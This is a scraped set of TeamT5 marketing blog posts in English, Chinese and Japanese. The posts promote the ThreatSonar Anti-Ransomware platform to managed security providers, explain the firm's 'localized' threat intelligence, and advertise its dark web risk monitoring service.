According to [Gartner](https://www.gartner.com/en/newsroom/press-releases/2023-02-14-gartner-security-risk-management-summit-mumbai-day2-highlights), more organizations are adopting MDR services. In 2020, 15% organizations adopt MDR service, and the ratio will be more than 50% in 2025. Based on [Enterprise Strategy Group](https://www.xcitium.com/pdf/ESG-eBook-Xcitium-MDR-Survey-September-2022.pdf)’s report, there are key factors that would motivate organizations to change MDR providers. Top 3 factors are “improved security analyst skills”, “more effective or advanced security tools”, and “better incident detection and resolution rates”.

![pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png](https://uploads.teamt5.org/upload/original/pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png)
Source: [Enterprise Strategy Group](https://www.xcitium.com/pdf/ESG-eBook-Xcitium-MDR-Survey-September-2022.pdf)

 
 

These reports tell us that “successful business” comes from “effective and advanced tools” and “analyst skills” equals . And TeamT5 can do this!


##Why ThreatSonar Anti-Ransomware?
ThreatSonar Anti-Ransomware is an “effective and advanced tool” that helps MSSP to deliver services to end users and bring cybersecurity resilience. In 2024, it is awarded[ the COMPUTEX Best Choice Award - Golden Award](https://teamt5.org/tw/posts/teamt5-s-threatsonar-anti-ransomware-solution-awarded-computex-best-choice-award-golden-award/?utm_source=blog&utm_medium=website) which recognizes ThreatSonar Anti-Ransomware great features.

Unique features of ThreatSonar Anti-Ransomware are:
#### 1.AI-driven threat protection, proactively defending against potential threats
- **Detection**: The AI-driven detection mechanism brings a quick overview of incidents through auto-generated summary and response suggestions to reduce the risk of the threat.
- **Analysis**: The auto-generated incident analysis bundle makes event analysis more efficient.
- **Response**: Scanning and isolation can be performed directly on endpoints to reduce threat exposure.

#### 2.Behavior detection engine monitors around the clock to uncover the latest threats
Industry-leading hacker behavior analysis strengthens the detection of the latest threats. The engine's self-learning mechanism can effectively identify commonly used or new malicious programs and unveil encrypted files.

#### 3.Visualize network attack chains and shorten incident investigation time
The cybersecurity analysts can easily identify attack trajectories to take prompt mitigation actions.

 
 

By using ThreatSonar Anti-Ransomware, MSSP can have the scalability and flexibility to provide managed security services for customers with following features: 
####Cost-effective ways to deliver services to multiple users 
- MSSP-owned platform to generate better margin
- Support both on-premise and cloud deployment to fulfill EDR needs of internal and external network equipment. 
- Multi-tenant management enables growth for MSSPs by extending security services across customers

####Effective and advanced tools for endpoint security
- Defense against the advanced threats with the latest threat intelligence
- Visualize complete endpoint security status
- Remotely take response and mitigation actions


####Security analytics capabilities
- Perform threat hunting and analysis with support from TeamT5’s expert team
- Be an excellent tool for incident response service. 

 

ThreatSonar Anti-Ransomware is backed by TeamT5’s professional team with years of experience by in-depth research on cyber threat analysis and threat hunting. TeamT5’s experts are often invited as speakers at international cybersecurity conferences and have a great influence in the field of incident response. TeamT5 CSIRT is also a member of [FIRST](https://www.first.org/) (Forum of Incident Response and Security Team), the premier incident response organization.


![pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg](https://uploads.teamt5.org/upload/original/pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg)

##Conclusion
ThreatSonar Anti-Ransomware is a crucial tool in an ever-changing cybersecurity environment. That makes it a good choice for MSSPs to adopt and provide great service for end users.

More about ThreatSonar Anti-Ransomware: [link](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)


>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The endpoint protection and response solution we developed, ThreatSonar Anti-Ransomware, has been adopted by many managed security service providers (MSSPs). It’s awarded the COMPUTEX Best Choice Award - Golden Award which recognizes ThreatSonar Anti-Ransomware great features.
>
If you are an MSSP, please [contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.

Award-winning Solution “ThreatSonar Anti-Ransomware” Helps MSSP to Win New Customers

在不斷變化的網路安全環境中，主動防禦和部署適當的網路安全解決方案至關重要。在此趨勢下，TeamT5屢獲殊榮的解決方案「[ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)」可協助企業對抗進階持續性威脅（APT）和勒索軟體。

「ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台」已被台灣和亞太地區其他國家的許多託管安全服務提供者（MSSP）採用。它使 MSSP 能夠隨時識別和阻止最先進的已知和潛在威脅（包括勒索軟體），並為其客戶提供高品質的託管偵測和回應（MDR）服務。


本文將介紹 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台 的強大功能和應用場景，以及它如何為MSSP帶來新的商機。我們期待供應商與我們聯繫，共同創造商機。

## 市場走向

據 [Gartner](https://www.gartner.com/en/newsroom/press-releases/2023-02-14-gartner-security-risk-management-summit-mumbai-day2-highlights) 稱，越來越多的組織正在採用 MDR 服務。 2020年，15%的組織採用 MDR 服務，2025年這一比例將超過50%。排名前三的因素是「提高安全分析師技能(improved security analyst skills)」、「更有效或更先進的安全工具(more effective or advanced security tools)」以及「更好的事件偵測和解決率(better incident detection and resolution rates)」。

![pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png](https://uploads.teamt5.org/upload/original/pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png)
資料來源: [Enterprise Strategy Group](https://www.xcitium.com/pdf/ESG-eBook-Xcitium-MDR-Survey-September-2022.pdf)

此報告顯示，「成功的業務」來自「有效且先進的工具」，與「分析師技能」同等重要。而TeamT5可以做到這一點！


##為什麼選擇 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台？
ThreatSonar 反勒索軟體是一種“有效且先進的工具”，可協助 MSSP 為最終用戶提供服務並帶來網路安全彈性。 2024 年，其榮獲 [COMPUTEX Best Choice Award - 金獎](https://teamt5.org/tw/posts/teamt5-s-threatsonar-anti-ransomware-solution-awarded-computex-best-choice-award-golden-award/?utm_source=blog&utm_medium=website)，以表彰 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的出色功能。

ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的獨特功能包括：
#### 1. AI 威脅防護，主動防禦潛在威脅
- **偵測**：本產品一偵測到威脅事件，AI 威脅防護自動提供事件摘要、處置建議，掌握事件狀況、並做及時處置，減少威脅所帶來的損害風險。
- **分析**：使用者可進一步進行事件分析，可直接在事件頁面上下載報告分析包，讓事件分析更有效率。
- **回應**：可直接執行掃描與隔離勒索軟體、惡意程式，降低威脅侵害。

#### 2.行為偵測引擎全時監控，最新威脅無所遁形
領先業界的駭客行為分析，強化偵測最新威脅，藉由引擎自我學習機制，自動判斷常用程式或新進惡意程式，有效掃描被加密檔案。

#### 3.可視化網路攻擊鏈，識別事件軌跡，縮短事件調查時程
藉由圖像化攻擊發生路徑，查找事件軌跡，並且根據事件資訊標籤，方便資安事件分析人員快速識別，並深入了解攻擊者的行為，加速調查事件軌跡。

透過使用 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台，MSSP 能具備可擴展性和靈活性，為客戶提供具有以下功能的託管安全服務：

####向多個用戶提供服務的經濟高效的方式
MSSP 擁有的平台可產生更高的利潤
支援本地部署和雲端部署，滿足內部和外部網路設備的端點資安防護需求。
多租戶管理透過跨客戶擴展安全服務來促進 MSSP 的成長


####端點安全的有效且先進的工具
- 利用最新威脅情報防禦高階威脅
- 可視化完整端點安全狀態
- 遠端採取應變和緩解措施

####安全分析能力
在 TeamT5 專家團隊的支援下，進行狩獵威脅和進行資安事件應變服務的優秀工具。

 

ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台由 TeamT5 專業團隊研發，我們在網路威脅分析和威脅狩獵方面擁有多年的深入研究經驗。 

TeamT5 的專家經常受邀在國際資訊安全會議上擔任演講嘉賓。 TeamT5 CSIRT 也是[國際最大資安事件應變組織 FIRST](https://www.first.org/) 的成員。

![pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg](https://uploads.teamt5.org/upload/original/pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg)

 

##結論
ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台是不斷變化的網路安全環境中的重要工具。這使其成為 MSSP 採用並為最終用戶提供優質服務的好選擇。

ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的更多資訊：[連結](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)

 

>TeamT5 杜浦數位安全專精網路威脅研究，協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響。獲國際頂尖顧問公司 Frost & Sullivan 肯定為台灣最佳威脅情資公司（2023 Taiwanese Threat Intelligence Company of the Year Award），自主研發之端點偵測與回應（EDR）解決方案獲國際大展 Computex - Best Choice Award 金獎肯定。 
> 
>團隊具備超過20年的惡意程式與進階持續性攻擊（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們開發的端點保護和回應解決方案 ThreatSonar Anti-Ransomware 已被許多託管安全服務提供者 (MSSP) 採用。它榮獲 COMPUTEX Best Choice Award - 金獎，表彰 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的出色功能。
>
>如果您是 MSSP，請立即[聯絡我們](https://teamt5.org/tw/contact-us/)，討論如何創造商機以增強最終客戶的網路安全彈性。

屢獲殊榮的解決方案「ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台」幫助 MSSP 贏得新客戶

ThreatSonar Anti-Ransomware インフォメーション

ThreatSonar Anti-Ransomware Resources

Understanding and countering threats effectively requires precise, timely, and context-rich intelligence. This is where localized intelligence becomes a critical asset. At TeamT5, we specialize in leveraging localized intelligence to provide unparalleled insights into cyber threats, particularly those emanating from the APAC region. But what exactly is localized intelligence, and how is it crafted?

## The Concept of Localized Intelligence
Localized intelligence refers to the collection and analysis of information directly from the regions where specific cyber threats originate. Imagine you're an organization or a government entity aiming to thwart attacks from a terror group based in the Middle East. Would you rely on intelligence from a company entrenched in the region, familiar with the language, culture, and ongoing activities, or from a company situated thousands of miles away with limited exposure to these threats? The choice is clear: proximity and direct engagement with the threat landscape are invaluable.

##Taiwan: A Hotspot for Cyber Threats
To illustrate the power of localized intelligence, consider Taiwan. In the first half of 2023, Taiwan experienced an astonishing 15,000 cyber attacks per second. This relentless onslaught is a direct result of its geopolitical situation, making Taiwan a unique vantage point for gathering cyber threat intelligence. At TeamT5, we harness this continuous exposure to cyber threats to develop first-hand, accurate, and timely intelligence on adversaries targeting the APAC region.

## Challenges Faced by Western Organizations
Western organizations often struggle with gathering detailed intelligence on overseas adversaries for several reasons:
1. **Geographical Distance**: Being far from the source of threats means fewer attack instances to study, resulting in less comprehensive data.
2. **Cultural and Language Barriers**: Understanding the nuances of an adversary's communication, tactics, and motivations requires fluency in their language and deep cultural insights.
3. **Limited Access**: Accessing forums and chat rooms where adversaries plan and discuss their activities can take years of reputation-building, a process challenging for distant organizations.

##The TeamT5 Approach to Localized Intelligence

![en_what-is-localized-intelligence-and-how-is-it-made.png](https://uploads.teamt5.org/upload/original/en_what-is-localized-intelligence-and-how-is-it-made.png)


At TeamT5, our methodology for creating localized intelligence is rigorous and multifaceted:

1.** Data Collection from Frequent Attacks**: We gather extensive data from previous attacks, including logs, sample malware, and telemetrics. This data serves as the foundation for our intelligence reports.
2. **Native Expertise**: Our threat researchers are native speakers of the languages used by adversaries and have a deep understanding of the local culture. This expertise enables them to decipher coded messages and signatures that would otherwise go unnoticed.
3. **Long-term Engagement**: Building trust and gaining access to closed forums and chat rooms used by adversaries requires long-term commitment and meticulous reputation building.
4. **Comprehensive Analysis**: Our analysts synthesize the gathered data, combining their understanding of the geopolitical landscape with the latest intelligence to produce actionable reports.

##Components of Localized Intelligence
Localized intelligence from TeamT5 includes several critical elements:
1. **Target Scope**: Identifying which regions, countries, and industries are being targeted.
2. **Tactics, Techniques, and Procedures (TTPs)**: Detailing the methods and tools used by adversaries.
3. **Command and Control (C&C) Infrastructure**: Analyzing the infrastructure adversaries use to orchestrate their attacks.

##The Power of Localized Intelligence in Practice
Take, for instance, TeamT5’s campaign tracking report. 

![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)

Each Campaign Tracking Report report includes:
- **Research Highlight**: A summary of the report’s key topics.
- **Target Scope**: Information on the targeted regions and sectors.
- **TTPs**: Insights into the adversaries' latest techniques and malware.
- **C&C Infrastructure**: Details on the infrastructure supporting the attacks.
- **Special Topics**: In-depth case studies on specific attack campaigns.


##Utilizing Localized Intelligence
Organizations can leverage localized intelligence in various ways. Some prefer manual review of intelligence reports, while others integrate indicators of compromise into automated detection systems. The optimal approach combines both methods, allowing for proactive threat prevention and informed risk management.


##Conclusion
Localized intelligence is a cornerstone of effective cyber threat defense, providing the detailed, contextual understanding necessary to counter sophisticated adversaries. At TeamT5, we are committed to delivering the highest quality localized intelligence to help organizations worldwide stay ahead of emerging threats. For more comprehensive insights, consider downloading our white paper, "[Understanding Cyber Threat Intelligence and the Cyber Threat Landscape with TeamT5](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”.


> Learn more about how localized intelligence can help your organization by [contacting us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) today!

What is Localized Intelligence and How is it Made?

要有效地理解和應對威脅，需要精確、及時且具有豐富情境背景的情資。而這正是「在地情資」成為關鍵資產的原因所在。TeamT5 專注於利用在地情資，為 APAC 地區的網路威脅提供無與倫比的洞見。但究竟什麼是「在地情資」，以及它是如何製作的呢？

##在地情資的概念
在地情資指的是直接從特定網路威脅發源地收集和分析資訊。想像你是一個組織或政府單位，專注在阻止來自中東恐怖組織的攻擊。你會仰賴一家紮根於該地區、熟悉當地語言、文化和當前威脅活動的公司，還是仰賴於一家距離數千公里、對這些威脅接觸有限的公司？選擇是顯而易見的：接近威脅環境並直接參與其中的情資具有無可估量的價值。

##台灣：網路威脅的重中之重
為了說明在地情資的力量，讓我們以台灣為例。2023 年上半年，台灣每秒遭受多達 15,000 次的網路攻擊。台灣的地緣政治形勢，直接導致這無情的攻擊，使台灣成為收集網路威脅情資的獨特觀察點。TeamT5 藉這持續網路威脅暴露現況，開發出針對 APAC 地區駭客族群的第一手、精確及時的情資。

##西方組織面臨的挑戰
西方組織在收集海外駭客族群的詳細情資時，經常面臨以下挑戰：
1. **地理距離**：與威脅來源距離遙遠，代表能研究的攻擊實例較少，導致資料不夠全面。
2. **文化和語言障礙**：要能了解駭客族群的溝通、戰術和動機的細微差別，需要精通他們的語言和深入的文化洞察。
3. **有限的進入管道**：進入駭客族群策劃和討論活動的論壇和聊天室，需要花數年建立聲譽，這對遠端組織來說是個挑戰。

##TeamT5 在地化情資製作方式

![tw_what-is-localized-intelligence-and-how-is-it-made.png](https://uploads.teamt5.org/upload/original/tw_what-is-localized-intelligence-and-how-is-it-made.png)

TeamT5 製作在地情資的方法嚴謹且涵蓋多個層面：
1. **從頻繁發生的攻擊中收集資料**：我們從先前的攻擊中收集大量資料，包括日誌、樣本惡意軟體和遙測數據。這些數據是我們情資報告的基礎。
2. **在地專業知識**：我們的威脅研究員所使用的母語與駭客族群相同，對當地文化有深刻理解。這種專業知識使他們能夠破譯其他人可能忽略的隱密資訊和特徵。
3. **長期參與**：建立信任並進入駭客族群使用的封閉論壇和聊天室，需要長期投入和謹慎的信譽建立。
4. **全面分析**：我們的分析師綜合收集到的資料，結合對地緣政治形勢的理解和最新情資，生成可操作的報告。

##在地情資的組成要素
TeamT5 的在地情資包括以下關鍵要素：
1. **目標範圍**：確定哪些地區、國家和產業成為攻擊目標。
2. **戰術、技術和程序（Tactics, Techniques, and Procedures, TTPs）**：詳細描述駭客族群使用的方法和工具。
3. **中繼站（C&C）基礎設施**：分析駭客族群用於指揮攻擊的基礎設施。

##在地情資的實際應用

![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)

以 TeamT5 的活動追蹤報告為例，每份活動追蹤報告包括：
1. 研究重點：報告的關鍵主題摘要。
2. 目標範圍：針對的地區和產業資訊。
3. TTPs（Tactics, Techniques, and Procedures）：駭客族群最新技術和惡意軟體的洞察。
4. C&C 基礎設施：支持攻擊的基礎設施詳細資訊。
5. 專題：特定攻擊活動的深入案例研究。

##利用在地情資
企業組織可以以多種方式利用在地情資。有些組織偏好人工審閱情資報告，而其他組織則將入侵指標整合到自動檢測系統中。最佳化 TeamT5 在地情資使用方式，是結合這兩種方法，實現主動威脅預防和風險知情（risk-informed）管理。

##結論
在地情資是有效網路威脅防禦的基石，提供了對抗複雜駭客族群所需的詳細、情境化的理解。TeamT5 致力於提供最高品質的在地情資，幫助全球組織持續領先於新興威脅。想獲取更全面的洞見分析，請下載我們的[白皮書《了解網路威脅情資及其威脅環境：TeamT5 解析》](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)。

>現在就[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解威脅情資如何助您的組織一臂之力！



什麼是在地情資？如何製作？

脅威を的確に理解し、効果的に対抗するには、正確でタイムリー、かつコンテキストに富んだインテリジェンスが必要です。そこで、ローカライズされたインテリジェンスが重要な資産となります。TeamT5では、ローカライズされたインテリジェンスを活用して、特にAPAC地域から発信されるサイバー脅威に関する比類のない知見を提供することを専門としています。しかし、ローカライズされたインテリジェンスとは正確には何であり、どのように作成されるのでしょうか?


##ローカライズされたインテリジェンスの概念

ローカライズされたインテリジェンスとは、特定のサイバー脅威が発生する地域から直接情報を収集し分析することを指します。中東を拠点とするテログループからの攻撃を阻止することを目的とする組織や政府機関を例として挙げてみましょう。その地域に根ざし、言語や文化、進行中の活動に精通している企業と、数千キロも離れた場所にあり、こうした脅威への接触が限られている企業のどちらからの情報を頼りにするでしょうか。選択肢は明らかに前者が選ばれます。

##台湾：サイバー脅威のホットスポット

ローカライズされたインテリジェンスの威力を示すために、台湾について考えてみましょう。2023年上半期、台湾では毎秒15,000件という驚異的なサイバー攻撃が発生しました。この容赦ない猛攻撃は、台湾の地政学的状況の直接的な結果であり、台湾はサイバー脅威インテリジェンスを収集するための独特な立ち位置にあります。TeamT5では、このような継続的なサイバー脅威への暴露を活用し、APAC地域を標的とする敵対勢力に関する直接かつ正確でタイムリーなインテリジェンスを開発しています。

##欧米の組織が直面する課題
![jp_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/jp_what-is-localized-intelligence-and-how-is-it-made.jpg)

欧米の組織が、海外の敵対勢力に関する詳細な情報の収集に苦労することが多いのには、いくつかの理由があります：


1. **地理的距離**： 脅威の発生源から遠く離れているため、調査対象となる攻撃事例が少なく、包括的なデータが得られないことが多いです。

2. **文化と言語の壁**： 攻撃者のコミュニケーション、戦術、動機のニュアンスを理解するには、敵の言語に精通し、深い文化的洞察力が必要です。

3. **アクセスの制限**： 攻撃者が活動を計画し議論するフォーラムやチャットルームにアクセスするには、何年もかけて評判を高める必要があり、遠方の組織にとっては困難なプロセスです。

##TeamT5 のローカライズされたインテリジェンスへのアプローチ

TeamT5 では、ローカライズされたインテリジェンスを作成するための方法は厳格かつ多面的です：

1. **頻繁に起こる攻撃からのデータ収集**：ログ、マルウェアのサンプル、テレメトリなど、過去の攻撃から広範なデータを収集します。このデータは、当社のインテリジェンスレポートの基礎となります。

2. **ネイティブの専門知識**：当社の脅威リサーチャーは、攻撃者が使用する言語を母国語とし、現地の文化を深く理解しています。この専門知識により、通常であれば気づかれないような暗号化されたメッセージやシグネチャを解読することができます。

3. **長期的な関与**： 信頼関係を構築し、攻撃者が使用する非公開のフォーラムやチャットルームにアクセスするには、長期的な関わりと綿密な評判の構築が必要です。

4. **包括的な分析**： 当社のアナリストは、収集したデータを統合し、地政学的状況に対する理解と最新のインテリジェンスを組み合わせて、実用的なレポートを作成します。


##ローカライズされたインテリジェンスの構成要素
![cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg](https://uploads.teamt5.org/upload/original/cover_pic_what-is-localized-intelligence-and-how-is-it-made.jpg)
 

TeamT5 のローカライズされたインテリジェンスには、いくつかの重要な要素が含まれています：


1. **ターゲット範囲**: どの地域、国、業界が狙われているかを特定します。

2. **戦術、テクニック、手順 (TTPs)**： 攻撃者が使用する手法やツールの詳細を表示します。

3. **コマンド＆コントロール（C&C）インフラ**： 攻撃者が攻撃を組織化するために使用するインフラストラクチャを分析します。
 

##ローカライズされたインテリジェンスの実際的な応用
例として、TeamT5 のCampaign Tracking Reportを見てみましょう：

各Campaign Tracking Reportには以下が含まれます：

- 調査のハイライト：レポートの主要トピックのまとめ
- ターゲット範囲： ターゲットの地域とセクターに関する情報
- 戦術、テクニック、手順： 攻撃者の最新のテクニックに関する知見
- C&C インフラ：攻撃をサポートするインフラストラクチャの詳細
- 特定のトピック: 特定の攻撃キャンペーンに関する詳細なケーススタディ

##ローカライズされたインテリジェンスの活用



組織は、さまざまな方法でローカライズされたインテリジェンスを活用することができます。インテリジェンスレポートを手作業で確認することを好む組織もあれば、侵害指標を自動検知システムに統合する組織もあります。最適なアプローチは、両方の方法を組み合わせることで、プロアクティブな脅威の予防と情報に基づくリスク管理を可能にします。


##結論は
ローカライズされたインテリジェンスは、効果的なサイバー脅威防御の礎であり、高度な攻撃死者に対抗するために必要な詳細かつ文脈に基づいた理解を提供します。TeamT5では、世界中の組織が新たな脅威の一歩先を行くことができるよう、最高品質のローカライズされたインテリジェンスを提供することをお約束します。より包括的な知見については、当社のホワイトペーパー「TeamT5によるサイバー脅威インテリジェンスとサイバー脅威状況の理解」のダウンロードをご検討ください。

ローカライズされたインテリジェンスとは？どのように作られるのか?

In the shadowy corners of the internet, the dark web thrives as a haven for cybercriminals. This clandestine part of the web, hidden from conventional search engines and browsers, is a hub for illicit activities, from trading malware to selling stolen data. Businesses today face unprecedented risks from the dark web, where data breaches can lead to severe financial, operational, and legal repercussions. Understanding and mitigating these threats is essential, and TeamT5's latest product offerings through ThreatVision’s Deep and Dark Web Risk Monitoring provide a robust solution.

##The Impact of Dark Web Leaks on Businesses
###Financial Devastation
The financial implications of data breaches can be catastrophic. When sensitive information is leaked on the dark web, it often leads to extortion, fraud, and other financial crimes. A glaring example is a major credit reporting agency that faced a breach compromising the personal data of 163 million individuals, resulting in losses exceeding $1.7 billion. This included fines from various regions, underscoring the severe consequences and extensive reach of such breaches.

####Operational Disruptions
Data breaches can significantly disrupt business operations. A notable incident involved a media giant whose data leak on Thanksgiving 2014 forced 47,000 employees to work from home, unable to access IT systems. The hackers, known as "Guardians of Peace," infiltrated the company’s systems, leaking sensitive information and causing the company's stock price to drop by over 10% within five days. The operational disruptions were profound, with employees reverting to paper-based processes, leading to inefficiencies and extended downtime.

####Legal Repercussions
Companies in regulated industries face stringent penalties when customer data is compromised. A retail giant's breach, which led to the theft of over 40 million credit and debit card records, resulted in over 90 lawsuits from affected customers and banks. The company faced investigations by regulatory bodies, including the Federal Trade Commission (FTC), and incurred costs exceeding $61 million to address the incident and restore customer trust.

##Understanding the Deep and Dark Web
The internet is composed of more than just the surface web, accessible via conventional search engines. The deep web consists of non-indexed sites locked behind usernames and passwords, containing sensitive information such as legal documents and financial records. While the deep web is largely benign, it holds critical data that businesses must protect proactively.
The dark web, however, is where the real danger lies. Accessible only through special browsers like Tor, which offers high anonymity, the dark web is a hotspot for criminal activities. This anonymity makes it attractive for cybercriminals to engage in activities such as data leaks, fraud, money laundering, and selling stolen data.

##Common Cybersecurity Crimes on the Dark Web
- **Malware Trading**: Hackers trade various types of malware to infect systems and steal data.
- **Credential Sales**: Compromised usernames and passwords are sold, leading to corporate system breaches.
- **Data Sales**: Personal and corporate sensitive data are sold, damaging reputations.
- **Credit Card Fraud**: Leaked credit card numbers are sold for profit and used for fraudulent activities.

##Combating Dark Web Risks with ThreatVision
####TeamT5’s Deep and Dark Web Risk Monitoring
To address these threats, TeamT5 offers a comprehensive Deep and Dark Web Risk Monitoring module through ThreatVision. This includes two key products: the Weekly Alert and the Tailored Report.

#####Risk Alert
The Weekly Alert provides automated weekly scans of the deep and dark web. Results are accessible through the ThreatVision platform or via email, and can be exported in CSV format for further analysis. This enables businesses to quickly identify and respond to potential risks.

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)

#####Tailored Report
The Tailored Report offers a deeper level of analysis, including threat risk assessment, recent findings, and mitigation suggestions. It covers deep and dark websites, hacker forums, Chinese-speaking underground communities, social media, and popular forums in the APAC region. This report is enriched with intelligence gathered and analyzed by TeamT5’s expert analysts.


####Benefits of TeamT5's Monitoring
- **Regular Monitoring**: Enables quick identification of deep and dark web risks.
- **Proactive Response**: Provides time to make PR and operational adjustments to minimize damage.
- **Impact Assessment**: Helps assess the breach impact and protect the company’s reputation.


####Focused Monitoring on Finance-related Cybercrime Activities
TeamT5’s monitoring focuses on criminal activities related to the financial industry and e-commerce. With a significant emphasis on Chinese-speaking channels and communities, sources are regularly updated by a team of dedicated analysts. The monitored sources include over 40 deep and dark websites, 400+ Telegram channels, and various social media platforms used by Chinese-speaking threat actors.

####Comprehensive Reporting
The ThreatVision platform provides detailed reports, including:
- **List of Leaked Data**: Details of credentials leaked from combo lists and compromised devices.
- **Risk Assessment and Recommendations**: Expert analysis and actionable recommendations to mitigate risks.


##Summary
In today’s digital landscape, the dark web poses significant threats to businesses worldwide. However, with TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision, companies can proactively monitor and mitigate these risks. By understanding the dark web, assessing threats, and taking timely actions, businesses can protect their operations, finances, and reputation from the hidden dangers lurking in the dark corners of the internet.
Stay vigilant and safeguard your business with ThreatVision – because in the battle against cyber threats, knowledge and proactive measures are your best allies.

 

> TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[datasheet link](https://uploads.teamt5.org/upload/files/TeamT5-DDW-Datasheet-EN.pdf)

Shining a Light on the Dark Web: Protecting Your Data and Reputation

暗網，存在於網路的陰暗角落，是網路犯罪者的避風港。這個隱藏於傳統搜索引擎和瀏覽器的網路，是非法活動的中心，包含惡意軟體交易、出售被盜資料。現今企業面臨前所未有的暗網風險，資料洩露可能導致嚴重的財務、營運和法律後果。認識並減少這些威脅至關重要，而 TeamT5 透過 ThreatVision 的深暗網風險監控產品，提供了一個強大的解決方案。

##暗網洩露對企業的影響
####財務損失
資料洩露，可能對財務造成災難性的影響。當敏感資料外洩在暗網上時，往往會導致敲詐、欺詐和其他犯罪，進一步導致高額的財務損失。一個明顯的例子是一家大型信用報告機構，其面臨的資料洩露，使 1.63 億人的個人資訊被泄露，造成超過 17 億美元的損失，包括來自多個地區的罰款，凸顯了此類洩露的嚴重後果和廣泛影響。

####營運中斷
資料洩露可能會嚴重擾亂業務營運。2014 年感恩節前夕，一家媒體巨頭的資料外洩事件迫使 47,000 名員工在家工作，無法訪問 IT 系統。駭客組織「和平守護者」滲透進入了公司系統，洩露敏感資料，導致公司股價在五天內下跌超過 10%。營運中斷極為嚴重，員工被迫回歸紙本流程，導致效率降低和停機時間延長。

####法律後果
在受監管行業中的公司，如果客戶資料被洩露，將面臨嚴厲的懲罰。一家零售巨頭的資料外洩事件導致超過 4,000 萬張信用卡和借記卡記錄被盜，超過 90 起訴訟來自受影響的客戶和銀行。該公司面臨監管機構（包括聯邦貿易委員會）的調查，並支付超過 6,100 萬美元的代價，解決事件並恢復客戶信任。

## 認識深網和暗網
網路不僅僅是通過傳統搜索引擎訪問的表層網。深網由未編入索引的網站組成，這些網站被用戶名和密碼鎖定，包含法律文件和財務記錄等敏感資料。雖然深網的內容與資料大多是無害的，但它包含了企業需要主動保護的重要資料，更是需要優先防範的環境。
然而，真正的危險在於暗網。只能透過特別的瀏覽器，如 Tor 等管道，這些瀏覽器提供高度匿名性，使暗網成為犯罪活動的熱點。這種匿名性吸引了網路犯罪分子進行資料外洩、詐騙、洗錢和出售被盜資料等活動。

##常見的暗網網路犯罪
- **惡意軟體交易**：駭客交易各種類型的惡意軟體來感染系統並竊取資料。
- **憑證銷售**：被洩露的用戶帳號和密碼被出售，導致企業系統被入侵。
- **資料銷售**：個人和企業的敏感資料被出售，損害公司聲譽。
- **信用卡欺詐**：被洩露的信用卡號碼被出售，並用於欺詐活動。

##透過 ThreatVision 對抗暗網風險
####TeamT5 的深暗網風險監控
為了應對這些威脅，TeamT5 ThreatVision 提供了全面的深暗網風險監控模組，包括兩個關鍵產品：「深暗網定期監控告警」和「深暗網監控分析報告」。


######深暗網定期監控告警
「深暗網定期監控告警」提供自動的每週深網和暗網掃描。結果可以透過 ThreatVision 平台或電子郵件獲取，並可導出為 CSV 格式以供進一步分析。這使企業能夠快速識別和應對潛在風險。

![pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg](https://uploads.teamt5.org/upload/original/pic_shining-a-light-on-the-dark-web-protecting-your-data-and-reputation.jpg)

######深暗網監控分析報告
「深暗網監控分析報告」提供更深入的分析，包括威脅風險評估、最新發現和緩解建議。它涵蓋深網和暗網站點、駭客論壇、中文地下社群、社群媒體和亞太地區的流行論壇。這份報告富含 TeamT5 的專家分析師團隊所收集和分析的暗網情資。

